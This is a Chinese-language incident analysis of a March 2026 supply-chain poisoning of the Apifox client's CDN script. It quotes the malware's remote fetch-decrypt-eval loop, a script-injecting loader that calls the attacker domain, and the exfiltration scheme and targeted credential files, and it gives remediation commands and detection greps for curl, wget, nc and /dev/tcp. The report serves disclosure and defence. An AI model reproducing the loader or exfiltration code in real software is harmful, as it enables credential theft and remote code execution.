2026 年 3 月,API 调试工具 Apifox 发生供应链投毒事件。攻击者通过劫持官方 CDN,向数万开发者的终端植入后门,窃取 SSH 私钥、Git Token、K8s 配置等高权限凭证。
一、事件概况
攻击入口
Apifox 是一款基于 Electron 的 API 一体化协作平台,提供 Windows、macOS、Linux 三平台客户端。因未严格启用 sandbox 参数,渲染进程可以访问 Node.js API,攻击者正是利用这一点实现了远程代码执行。
Apifox 启动时会加载:
https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js正常版本约 34KB。3 月 4 日之后,该文件被替换为 77KB 的投毒版本——攻击者在合法 SDK 末尾追加了约 42KB 的混淆恶意代码。
时间线
| 时间 | 事件 |
|---|---|
| 2026-03-04 | C2 域名 apifox.it.com DNS 上线,CDN 文件开始被投毒 |
| 2026-03-05 | Wayback Machine 抓取存档投毒版本 |
| 2026-03-12 ~ 03-20 | 观测到至少 10 次不同的攻击载荷下发 |
| 2026-03-22 | apifox.it.com DNS 记录下线 |
| 2026-03-25 | CDN 入口文件已还原为正常版本 |
攻击活跃窗口:2026-03-04 至 2026-03-22,共 18 天。
受影响范围
所有在 3 月 4 日至 22 日期间启动过 Apifox 桌面端的用户,Windows、macOS、Linux 三平台均受影响。特别是拥有 SSH 密钥、Git 凭证、K8s 集群权限的开发者和运维人员。
二、技术分析
被投毒文件结构
77KB 的投毒文件由两部分组成:
| 区域 | 大小 | 内容 |
|---|---|---|
| 第一部分 | ~34KB | 合法的事件追踪 SDK(GA4、百度统计、阿里云 SLS、PostHog) |
| 第二部分 | ~42KB | 混淆后的恶意代码 |
攻击者选择在合法文件末尾追加恶意代码,而非替换,这样文件在功能上仍然正常运行,极难被察觉。
混淆技术
恶意代码采用了 7 层混淆:
- 字符串数组旋转 — 300+ 条编码字符串,通过 IIFE 暴力旋转数组到目标偏移(最终确定为偏移 275)
- Base64 + RC4 双层解密 — 字符串先 Base64 解码,再 RC4 解密
- 代理函数 — 包装解码器,增加调用层次
- 十六进制算术混淆 — 数值常量用复杂表达式表示,如
0x2425+-0x1*-0x415+0x80b*-0x5 - 控制流扁平化 — 通过对象属性间接调用函数
- 死代码注入 — 永远不会执行的分支
- 反调试陷阱 — 检测调试器则触发无限递归
恶意代码核心功能
RSA-2048 私钥
恶意代码中硬编码了一个 RSA-2048 私钥:
const PRIVATE_KEY = `-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
...
-----END PRIVATE KEY-----`;用于两个目的:
- 加密上报数据 — 从私钥提取公钥,OAEP 填充加密后附加到 HTTP 头
- 解密 C2 指令 — 解密服务器下发的攻击载荷
把私钥嵌在客户端代码里是攻击者的重大失误。这让安全研究人员能够解密全部 C2 通信,完整还原攻击链。
机器指纹
MAC地址 + CPU型号 + 主机名 + 用户主目录 + 操作系统平台 → SHA-256生成 64 字符的 af_uuid,存储在 localStorage._rl_mc。
窃取 Apifox 用户信息
从 localStorage.common.accessToken 读取登录令牌,调用官方 API 获取用户邮箱和姓名:
GET https://api.apifox.com/api/v1/user
Authorization: <accessToken>这些信息经 RSA 加密后附加到后续请求头,让攻击者知道每个受害者的身份。
C2 通信协议
| Header | 内容 | 加密 |
|---|---|---|
af_uuid | 机器指纹 | 明文 |
af_os | 操作系统 | 明文 |
af_user | 用户主目录 | RSA |
af_name | 主机名 | RSA |
af_apifox_user | Apifox 邮箱 | RSA |
af_apifox_name | Apifox 姓名 | RSA |
远程代码执行
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // 任意代码执行从 C2 获取加密的 payload → 解密 → eval() 执行。这是一个完整的 RCE 平台,C2 可以在任意时刻下发任意 JavaScript 代码。
持久化
setTimeout 设置 30 分钟 ~ 3 小时的随机间隔后重新轮询 C2。只要 Apifox 在运行,恶意代码就持续活跃。
攻击载荷分析
Stage-1:加载器
C2 返回 344 字节的加密数据,解密后:
(function(){
var s = document.createElement('script');
s.src = 'https://apifox.it.com/<随机8位hex>.js';
s.onload = function(){ s.parentNode && s.parentNode.removeChild(s) };
document.head.appendChild(s)
})()特点:
- 路径随机化:每次请求生成不同文件名(
49b5e0ba.js、69bd75f5.js等) - 用完即焚:历史路径访问返回 404
- 自动清理:加载完后从 DOM 移除
<script>标签 - 客户端绑定:
af_uuid被硬编码到 Stage-2 代码中
Stage-2 v1:信息窃取
约 3,400 字节的明文 Node.js 脚本,代码里保留了完整的中文注释。
窃取内容:
| 平台 | 目标 |
|---|---|
| 全平台 | ~/.ssh/ 整个目录(私钥、公钥、config、known_hosts、authorized_keys) |
| macOS/Linux | ~/.zsh_history、~/.bash_history、~/.git-credentials、ps aux |
| Windows | tasklist |
数据外泄协议:
JSON → Gzip → AES-256-GCM → Base64 → POSTAES 参数:
- 密码:
apifox - 盐值:
foxapi - 密钥派生:
scryptSync(password, salt, 32) - IV:12 字节随机
上传到 https://apifox.it.com/event/0/log
Stage-2 v2:纵深窃取
攻击者持续迭代,v2 版本新增:
| 目标 | 说明 |
|---|---|
~/.kube/* | K8s 集群配置,含 OIDC refresh token |
~/.npmrc | npm registry token |
~/.zshrc | Shell 环境变量,可能含 API Key |
~/.subversion/* | SVN 凭证 |
| 目录树遍历 | 主目录、桌面、文档;Windows 额外扫描 D:\ E:\ F:\ |
上传到 /event/2/log。
关于中文注释
攻击者在入口文件里部署了 7 层混淆和反调试陷阱,但 C2 下发的实际载荷却保留了详尽的中文注释:
const salt = "foxapi"; // 盐值也必须提供
// scryptSync 会根据密码和盐值,计算出一个确定的 32 字节密钥
/**
* 使用 AES-256-GCM 加密数据
*/这种矛盾可能说明入口混淆层和后端载荷不是同一人编写,或者攻击者认为 RSA 加密已经足够安全。
未知的后续阶段
必须强调:目前捕获到的 Stage-2 v1/v2 只是侦察阶段。这个恶意软件的本质是一个完整的 RCE 平台——C2 可以在每次轮询时下发完全不同的代码。
攻击者完全有能力根据已回传的信息筛选高价值目标(金融机构、加密货币交易所等),然后下发定制化的后续载荷:植入独立后门、横向移动、接管生产集群、二次供应链投毒……
对于这些目标,后续可能已经遭受了远超凭据窃取的深度入侵。
攻击链
1. Apifox 启动,加载投毒 JS (77KB)
↓
2. 采集机器指纹,窃取 Apifox token,RSA 加密
↓
3. 请求 C2: GET /public/apifox-event.js
返回 Stage-1 loader (344 bytes)
↓
4. 解密执行 Stage-1,动态加载 Stage-2
路径: /<随机hex>.js (一次性)
↓
5. Stage-2 执行
v1: ~/.ssh/*, shell history, git-credentials, 进程列表
v2: ~/.kube/*, ~/.npmrc, ~/.zshrc, 目录树
↓
6. 数据外泄: Gzip → AES-256-GCM → Base64 → POST
↓
7. 持久化: 30min~3h 后回到步骤 3
↓
8. ⚠️ C2 可在任意轮询中切换载荷三、关于 apifox.it.com 域名
攻击者使用的 C2 域名值得一提。
.it.com 不是意大利国别域名 .it 的子域,而是一个商业二级域名服务。它不属于 ICANN 标准注册局体系,没有公开 WHOIS 信息,注册门槛极低,非常适合被滥用。
从受害者视角,apifox.it.com 第一眼很容易被误认为:
- Apifox 的内部测试域名
- Apifox 意大利区域服务
- Apifox 某个子产品
这种域名选择是精心设计的社会工程学——利用视觉相似性降低被怀疑的概率。
DNS 记录:
| IP | 组织 | 首次发现 | 最后发现 |
|---|---|---|---|
| 104.21.2.104 | Cloudflare | 2026-03-04 | 2026-03-22 |
| 172.67.129.21 | Cloudflare | 2026-03-04 | 2026-03-22 |
攻击者用 Cloudflare 作为前置代理,隐藏真实源站 IP,获得合法 HTTPS 证书。
四、IoCs
网络指标
| 类型 | 值 |
|---|---|
| C2 域名 | apifox.it.com |
| 投毒入口 | cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js (77KB) |
| Stage-1 | https://apifox.it.com/public/apifox-event.js |
| Stage-2 | https://apifox.it.com/<随机hex>.js |
| 数据外泄 v1 | https://apifox.it.com/event/0/log |
| 数据外泄 v2 | https://apifox.it.com/event/2/log |
| 被滥用的 API | https://api.apifox.com/api/v1/user |
观测到的 Stage-2 URL
/49b5e0ba.js (2026-03-12)
/69bd75f5.js (2026-03-14)
/bf0475de.js (2026-03-15)
/ad0ff2db.js (2026-03-16)
/185f3323.js (2026-03-17)
/2a44e5af.js (2026-03-18)
/46066214.js (2026-03-18)
/4a8b213c.js (2026-03-19)
/5dc09173.js (2026-03-19)
/8e349a9b.js (2026-03-20)以上路径目前均已 404。
主机指标
| 类型 | 值 |
|---|---|
| localStorage 键 | _rl_mc、_rl_headers |
| 被读取的凭证 | common.accessToken |
| 异常 HTTP 头 | af_uuid、af_os、af_user、af_name、af_apifox_user、af_apifox_name |
| 被访问的文件 | ~/.ssh/*、~/.git-credentials、~/.zsh_history、~/.bash_history、~/.kube/*、~/.npmrc、~/.zshrc、~/.subversion/* |
| 执行的命令 | ps aux (Linux/macOS)、tasklist (Windows) |
加密指标
| 类型 | 值 |
|---|---|
| RSA 私钥 | PKCS#8 格式,模数起始 MIIEvQIBADANBgkqh... |
| AES 密码 | apifox |
| AES 盐值 | foxapi |
| AES 算法 | AES-256-GCM,scryptSync 派生密钥,12 字节 IV |
五、应急处置
立即执行
1. 封锁 C2 域名
Windows(管理员 PowerShell):
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 apifox.it.com"
ipconfig /flushdnsmacOS/Linux:
sudo sh -c 'echo "127.0.0.1 apifox.it.com" >> /etc/hosts'2. 停用 Apifox
升级到 >= 2.8.19,或暂时迁移到 Postman、Insomnia、Bruno 等替代工具。
清理缓存:
# macOS
rm -rf ~/Library/Application\ Support/Apifox
rm -rf ~/Library/Caches/Apifox
# Linux
rm -rf ~/.config/Apifox ~/.local/share/Apifox ~/.cache/Apifox# Windows
Remove-Item -Recurse -Force "$env:APPDATA\Apifox" -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force "$env:LOCALAPPDATA\Apifox" -ErrorAction SilentlyContinue凭证轮换
这是最关键的一步。凭证不轮换,攻击者就还能访问。
| 优先级 | 凭证 | 时间窗 |
|---|---|---|
| P0 | 云厂商 AK(AWS/阿里云/GCP/Azure) | < 1 小时 |
| P0 | SSH 私钥 | < 2 小时 |
| P0 | Git Token | < 2 小时 |
| P1 | K8s kubeconfig / OIDC Token | < 4 小时 |
| P1 | 数据库密码 | < 4 小时 |
| P2 | npm / PyPI Token | < 24 小时 |
| P2 | .env 中的 API Key | < 24 小时 |
SSH 私钥
# 删除旧密钥
rm -f ~/.ssh/id_rsa ~/.ssh/id_rsa.pub
rm -f ~/.ssh/id_ed25519 ~/.ssh/id_ed25519.pub
# 生成新密钥
ssh-keygen -t ed25519 -C "your@email.com" -f ~/.ssh/id_ed25519
# 审查 authorized_keys
cat ~/.ssh/authorized_keys # 删除不明公钥
# 部署到服务器
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server云 AK
# AWS
aws iam update-access-key --access-key-id AKIAxxxx --status Inactive --user-name <user>
aws iam create-access-key --user-name <user>
aws configure
# 阿里云
aliyun ram DeleteAccessKey --UserAccessKeyId LTAIxxxx --UserName <user>
aliyun ram CreateAccessKey --UserName <user>
# GCP
gcloud iam service-accounts keys delete <key-id> --iam-account=<sa>@<project>.iam.gserviceaccount.com
gcloud iam service-accounts keys create ~/key.json --iam-account=<sa>@<project>.iam.gserviceaccount.comGit Token
GitHub:访问 https://github.com/settings/tokens 删除所有 Token,重新生成时只授予必要权限,设置短过期时间(7-30 天)。
K8s 凭证
cp ~/.kube/config ~/.kube/config.backup.$(date +%Y%m%d)
# EKS
aws eks update-kubeconfig --name <cluster> --region <region>
# GKE
gcloud container clusters get-credentials <cluster> --region <region>
# AKS
az aks get-credentials --resource-group <rg> --name <cluster>六、系统排查
Linux
检查感染迹象
# 检查 localStorage 中的恶意标记
find ~/.config/Apifox -name "*.ldb" -o -name "*.log" 2>/dev/null | \
xargs strings 2>/dev/null | grep -E "_rl_mc|_rl_headers|af_uuid"
# DNS 历史
journalctl -u systemd-resolved --since "30 days ago" 2>/dev/null | grep -i "apifox.it.com"网络审计
# 当前连接
ss -tulpan | grep ESTAB
# 检查是否有到 apifox.it.com 的连接
ss -tulpan | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort -u | \
while read ip; do host "$ip" 2>/dev/null; done | grep -i "apifox"敏感文件访问时间
ls -lau ~/.ssh/id_rsa ~/.ssh/id_ed25519 ~/.aws/credentials ~/.kube/config 2>/dev/null
find ~/.ssh/ -type f -atime -30 -ls 2>/dev/null后门排查
# authorized_keys
cat ~/.ssh/authorized_keys
sudo find /home /root -name "authorized_keys" -exec cat {} \; 2>/dev/null
# 定时任务
crontab -l
sudo cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# Shell 配置文件
grep -E "curl|wget|eval|exec|nc -|/dev/tcp" ~/.bashrc ~/.zshrc ~/.profile 2>/dev/null
# UID 为 0 的用户
awk -F: '$3 == 0 {print $1}' /etc/passwdWindows
检查感染迹象
# DNS 缓存
ipconfig /displaydns | Select-String "apifox"
# localStorage(LevelDB)
$apifoxData = "$env:APPDATA\Apifox\Local Storage\leveldb"
if (Test-Path $apifoxData) {
Get-ChildItem $apifoxData | Select-Object Name, LastWriteTime
}网络审计
# 连接及进程
netstat -ano | findstr ESTABLISHED
Get-NetTCPConnection -State Established | ForEach-Object {
$proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[PSCustomObject]@{
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
PID = $_.OwningProcess
Process = $proc.ProcessName
Path = $proc.Path
}
} | Format-Table -AutoSize持久化排查
# 注册表自启动
@("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object {
Write-Host "--- $_ ---"
Get-ItemProperty $_ -ErrorAction SilentlyContinue
}
# 计划任务
Get-ScheduledTask | Where-Object {
$_.Actions.Execute -like "*powershell*" -or
$_.Actions.Execute -like "*apifox*"
} | Select-Object TaskName, State
# WMI 持久化
Get-WmiObject -Class __EventFilter -Namespace root\subscription | Select-Object Name, Query
Get-WmiObject -Class CommandLineEventConsumer -Namespace root\subscription | Select-Object Name, CommandLineTemplate七、风险评估
已确认的风险
| 风险 | 影响 |
|---|---|
| SSH 私钥泄露 | 直接登录服务器,横向移动 |
| Git 凭证泄露 | 源代码仓库未授权访问,二次供应链攻击 |
| Shell 历史泄露 | 暴露内部 URL、数据库连接串、API Key |
| K8s 配置泄露 | 集群管理权限,生产环境接管 |
| npm Token 泄露 | 发布恶意包 |
| Apifox 账户泄露 | 用户邮箱姓名,定向钓鱼 |
潜在风险
这个恶意软件是完整的 RCE 平台。C2 可以在每次轮询时下发不同代码,攻击者有能力:
- 筛选高价值目标
- 下发定制化攻击载荷
- 植入独立后门
- 横向移动
- 接管生产集群
- 二次供应链投毒
注意的是:对于被标记为高价值的目标,后续可能已遭受深度入侵。不能因为当前公开的 IoC 只涵盖侦察行为就低估威胁。
八、安全加固建议
最小权限
- 云 AK 只授予必要权限,设置短过期
- Git Token 只授予必要仓库
- 数据库使用专用账号,不用 root/admin
- SSH 用普通用户登录,需要时 sudo
临时凭证
# AWS STS
aws sts assume-role --role-arn arn:aws:iam::xxx:role/DevRole \
--role-session-name dev --duration-seconds 3600
# 阿里云 STS
aliyun sts AssumeRole --RoleArn <role-arn> --RoleSessionName dev网络隔离
- 开发/生产环境隔离(不同 VPC 或账号)
- 敏感服务禁止公网访问
- 出站流量限制白名单
- 用堡垒机/VPN 访问内网
文件监控
# auditd 监控敏感文件
cat >> /etc/audit/rules.d/sensitive.rules << 'EOF'
-w /root/.ssh/id_rsa -p rwxa -k ssh_key
-w /root/.aws/credentials -p rwxa -k aws_creds
-w /root/.kube/config -p rwxa -k kube_config
EOF
sudo augenrules --load定期审计
- 每月检查 AK 最后使用时间
- 每月检查 Git Token 权限
- 每季度清理废弃凭证
软件来源验证
# 校验哈希
sha256sum apifox_2.8.19_x64.AppImage
# macOS 签名验证
codesign --verify --verbose /Applications/Apifox.app九、排查脚本
Linux
#!/bin/bash
echo "=== Apifox 投毒排查 ==="
echo -e "\n[1] DNS 历史"
journalctl -u systemd-resolved --since "30 days ago" 2>/dev/null | grep -i "apifox.it.com" || echo "未发现"
echo -e "\n[2] 当前连接"
ss -tulpan | grep ESTAB | grep -v "127.0.0.1\|::1"
echo -e "\n[3] 敏感文件访问时间"
ls -lau ~/.ssh/id_* ~/.aws/credentials ~/.kube/config 2>/dev/null
echo -e "\n[4] 定时任务"
crontab -l 2>/dev/null
grep -r "curl\|wget\|eval" /etc/cron* 2>/dev/null
echo -e "\n[5] authorized_keys"
cat ~/.ssh/authorized_keys 2>/dev/null || echo "不存在"Windows
Write-Host "=== Apifox 投毒排查 ===" -ForegroundColor Cyan
Write-Host "`n[1] DNS 缓存" -ForegroundColor Yellow
ipconfig /displaydns | Select-String "apifox"
Write-Host "`n[2] 当前连接" -ForegroundColor Yellow
netstat -ano | findstr ESTABLISHED
Write-Host "`n[3] 自启动项" -ForegroundColor Yellow
@("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object {
Get-ItemProperty $_ -ErrorAction SilentlyContinue
}
Write-Host "`n[4] 计划任务" -ForegroundColor Yellow
Get-ScheduledTask | Where-Object {
$_.Actions.Execute -like "*powershell*" -or $_.Actions.Execute -like "*apifox*"
} | Select-Object TaskName, State
Write-Host "`n[5] Apifox 目录" -ForegroundColor Yellow
@("$env:APPDATA\Apifox", "$env:LOCALAPPDATA\Apifox") | ForEach-Object {
if (Test-Path $_) { Write-Host "存在: $_" -ForegroundColor Red }
}